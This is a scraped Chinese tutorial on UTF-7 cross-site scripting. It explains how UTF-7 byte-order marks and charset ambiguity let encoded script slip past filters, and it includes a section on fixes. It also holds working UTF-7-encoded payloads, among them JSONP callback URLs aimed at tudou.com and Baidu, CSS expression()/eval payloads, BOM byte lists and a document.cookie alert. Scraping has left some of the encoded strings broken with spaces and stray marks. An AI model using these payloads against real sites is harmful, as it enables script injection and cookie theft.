首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 网站开发 > Web前端 >

utf-七 xss

2013-11-09 
utf-7 xssutf-7 xss2012-02-13 22:49 星期一 晴  ----------------------------------------- UTF-7 XSS P

utf-7 xss

utf-7 xss
2012-02-13 22:49 星期一 晴  ----------------------------------------- UTF-7 XSS Paper ----------------------------------------- *****************?

0x01. UTF-7是什么?

************************************************** *************************************************** *******************?

UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF))是一种可变长度字符编码方式,?

用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用。?

Wiki-URL: http://zh.wikipedia.org/zh-cn/UTF-7?

<1> 可以通过设置?@charset=utf-7 设定为 utf-7编码?

<2> 可以通过在正文开头设置 utf-7 bom 设定为 utf-7编码?

utf-7 bom 目前知道的有4个?

+/v8 | +/v9 | +/v+ | +/v/?

************************************************** *************************************************** *******************?

**********************?

0x02. 可以针对哪些目标?

************************************************** *************************************************** *******************?

utf-7 相对于其他字符集有什么特点呢??

<1> 以 ASCII可显示字符 来编码的,这点在逃过过滤检测非常有用?

<2> 有 bom 这个东东,其他一些字符集没有,大大地提高了利用的几率?

utf-7 可以攻击的目标?

<1> http response 设置不严格的,比如设置 Content-Type: text/html?

<2> 字符集没有专门指定的,是模糊的?

<3>?标签之前有机会设置字符集的?

用 utf-7 来攻击的步骤?

<1> 通过各种手段先夺取到utf-7字符集的优先权,使utf-7编码能被解码?

常见手段有?

在正文开始设置bom标记?

在之前设置字符集?

遇到默认字符集(没专门指定字符集)的网页通过编码格式争夺?

<2> 因为utf-7编码特点,可以逃过绝大部分过滤检测,再配合常规的XSS手法?

最简单的就是可以把 '<' 和 '>' 编码掉,而绝大部分的网站也只是简简单单地对这两个符号进行转移或过滤?

************************************************** *************************************************** *******************?

************************?

0x03. 怎样利用demo或说明?

************************************************** *************************************************** *******************?

Reflected XSS:?

[Json utf-7 xss]?

<格式> http://xx/..callback=[utf-7头][utf-7数据流]...?

黑哥挖的一个tudou的json callback?

http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8?

%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkA cAB0AD4AYQBsAGUAcgB0ACg?

AMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP gA8AC8AaAB0AG0APg-%20xsadas?

[utf-7头] -> %2B%2Fv8 (+/v8)?

[utf-7数据流] -> %2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB 0AD4AYQBsAGUAcgB0ACgAMQApADsAP?

AAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB 0AG0APg-?

[utf-7数据解码后] ->?

Stored XSS:?

[baidu自定义css utf-7 css]?

<格式> css正文开始必须为[utf-7头],[utf-7数据流]可在[utf-7头]后正文的任意位置?

黑哥blog里css的utf-7 xss?

http://hitn.bdimg.com/hi_heige/css/item/ee0 92fa60.css?

css正文的内容:?

-------------------------------------------------- ------------------?

+/v8?

#phx{FILTER: Alpha(Opacity=100, FinishOpacity=10, Style=2, StartX=20, StartY=40, FinishX=0, FinishY=0)gray(); WIDTH: 220px;?

HEIGHT: 32px}?

...?

body{background:#FFFFFF;font- family:'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpA G8AbgAoACgAdwBpAG4AZABvAHcALgByAHIAcgA9AD0AMQAp AD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASA BhAHAAcAB5ACAATgBl AHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGkAbwAuAC 8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0Aa QBsAHkAOgAnA-';}?

...?

-------------------------------------------------- ------------------?

[utf-7头] -> %2B%2Fv8 (+/v8)?

[utf-7数据流] -> +AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoA CgAdwBpAG4AZABvAHcALgByAHIAcgA9AD?

0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZ QB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5A?

CAATgBlAHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGk AbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgB?

hAG0AaQBsAHkAOgAnA-?

[utf-7数据解码后] -> x';xss:expression((window.rrr==1)?'':eval('rrr=1;e val(alert(/Happy New Year! thx mario./));'));font-family:'?

************************************************** *************************************************** *******************?

********************?

0x04. 有哪些修复方法?

************************************************** *************************************************** *******************?

要防御 utf-7 xss,只需要防止utf-7字符集被识别就行?

utf-7 能使用主要通过两种方式?

<1> 设置字符集为 utf-7?

<2> 在文本开头设置 utf-7 bom?

看看上文 utf-7 可以攻击的目标?

<1> http response 设置不严格的,比如设置 Content-Type: text/html?

<2> 字符集没有专门指定的?

<3>?标签之前有机会设置字符集的?

再反推防御?

<1> http response 严格设置,比如 json 的一定要设置为 Content-Type: "json",不然会被 callback 攻击?

<2> 字符集在开发阶段就指定好,避免被抢夺优先权。?

如果不能先设置好字符集的(比如css)把正文开始插入一个 space 或 \n,让 utf-7 bom 失效?

<3> 不要让标签之前有机会设置字符集的?

demo:?

<1> 比如像存储类www.webyuanma.com的数据,应该在做了jsp过滤净化的基础上,防止出现 utf-7 bom?

就像 baidu在自定义css 的第一个位置强制插入一个 space?

为了不破坏用户所想要表达的数据之类,在第一个位置插入一个 space 或 \n 都可以?

<2> 像json被攻击的格式,在正文处也可以这样处理?

http://apps.hi.baidu.com/dashan/data/status?asyn=1 &callback=[utf-7头][utf-7数据流]......?

对于 json 的场景,还需要设置 header: Content-Type: "json" (格式貌似不对,表示那么个意思就是)?

或者在正文的asp.net第一个位置插入一个 space或 \n?

************************************************** *************************************************** *******************?

想到大部分人都比较懒~ 不想自己去搜?

就给一些很不错的参考资料链接吧~?

http://openmya.hacker.jp/hasegawa/public// s6/h6.html?file=datae.txt (按方向键左右操作)?

http://openmya.hacker.jp/hasegawa/security/utf7cs. html?

http://secdocs.lonerunners.net/documents/details/2 056-xss-lightsabre-techniques-using-hackvertor?

明天又要纠结 javasnoop 鸟= =~ 雅蠛蝶~?

-------------------------------------------------- ------实验-------------------------------------------------- ------------------------------------------- 再访问 发现xss没反应?

仔细看了下 原来被 强制在第一个位置插入了一个空格 破坏了?

度娘把我的 utf-7 bom 赤裸裸地给ons了~?

雅蠛蝶呀~?

我还想玩玩呢~ 居然就被补鸟~ T_T~ 泪奔呀~?

-------------------------------------------------- -----------------------------?

收集了一些 utf-7 bom?

大家拿去玩吧 =.=~?

hackvertor 给的也只有这4个?

+/v8 +/v9 +/v+ +/v/?

原文?

UTF-7 Kung fu lesson continued?

·Multiple BOM characters allow UTF-7 to be executed?

·BOM character has to be first character?

·Not that useful but still interesting?

·%2B%2F%76%38?

·%2B%2F%76%39?

·%2B%2F%76%2b?

·%2B%2F%76%2f?

-------------------------------------------------- -----------------------------?

黑哥(5up3rh3i) 也给了个 utf-7 reflected xss 的例子?

在IE下测试成功?

http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGI AbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQ ApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8A C8AaAB0AG0APg-%20xsadas?

更多例子:?



+/v8?

body {?

font-family:?

'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA?

BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-';?

}?

+/v8?

body {?

font-family:"+AHgAIgA7AHgAcwBzADoAZQB4AHAAcgBlAHMA cwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgB4AG8AeAA9AD0AMQA pAD8AJwAnADoAZQB2AGEAbAAoACIAeABvAHgAPQAxADsAZQB2AG EAbAAoAGEAbABlAHIAdAAoAC8AWABTAFMAIQAvACkAKQA7ACIAK QApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAI-";?

}?

//x";xss:expression((window.xox==1)?'':eval("xox=1 ;eval(alert(/XSS!/));"));font-family:"?

//x";xss:expression((window.xox==1)?'':eval("xox=1 ;document.write('');"));font-family:"?

继续更多:?

摘自我的博客[url]http://hi.baidu.com/thanks4sec/home[/url]?

想看UTF-7XSS效果的同学请用ie访问[url]http://hi.baidu.com/hi_heige/blog[/url]?

--------------------------------------?

大概是由heige牵头,导致UTF-7 XSS最近满火的,好多大侠也都在博客里撰文探讨?

最喜欢奇技淫巧了,倒腾了一翻,忍不住写点东西出来?

不对的地方请指正?

UTF-7是什么?

UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF)) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。?

举个例子:?

编码后就成了?

+ADw-script+AD4-alert(document.cookie)+ADw-/script +AD4-?

原理阐述?

由于标签没有指定明确的charset,导致浏览器将编码以utf-7解析,从而形成XSS?

比如一个回应包如下:?

HTTP/1.1 200 OK?

Content-Type: text/html.... ...?

我们看到,http头里并没有指定charset,那么浏览器会将包内容以何种编码形式解析呢??

OK,UTF-7 XSS的利用就在这里了?

linx在博客里也讲了,归根结底,这个问题还出在IE处理meta steam的编码策略上?

利用方法?

PS.针对utf-7微软之前已经对ie打过补丁了,所以以下的利用未必成功,仅供参考学习之用?

情况1.?

如:?


< /title>?

< meta http-equiv="content-type" content="text/html; charset=utf-8">?

在meta charset之前插入语句,使得charset成utf-7 ( 在IE8下测试不成功)?

情况3?

如:?



< head>?

< meta http-equiv="content-type" content="text/html>?

< /head>?

< body>?

< iframe src="http://target.example.com/NOTFOUND/%2BACIAPgA 8-script%2BAD4-alert%28document.location%29%2BADw-% 2Fscript%2BAD4APAAi-">?

< /body>?

< /html>?

页面默认不以utf-7解析。通过在iframe中包含utf-7的语句,使得其解析成utf-7?

情况4?

如:?

[url]http://www.tudou.com/my/channel/item.srv?icod e=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APg A8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0A CgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkA PgA8AC8AaAB0AG0APg-%20xsadas[/url]?

[url]http://apps.hi.baidu.com/dashan/data/status?a syn=1&callback=[/url]【utf-7头】【utf-7数据流】......

json,这个很多了?

情况5?

· UTF-7 BOM character can force UTF-7 in a external style sheet?

· Would you let me upload a style sheet??

· @charset UTF-7; works?

· But you dont need it?

· +/v8 is all you need?

+/v8?

body {?

font-family:?

'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA?

BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-';?

}?

CSS utf-7 XSS:在css里头通过+/v8(这里的原理还是之前说的,控制文件的开头的几个字节)控制编码成utf-7,heige在百度空间里用的就是这招

?

热点排行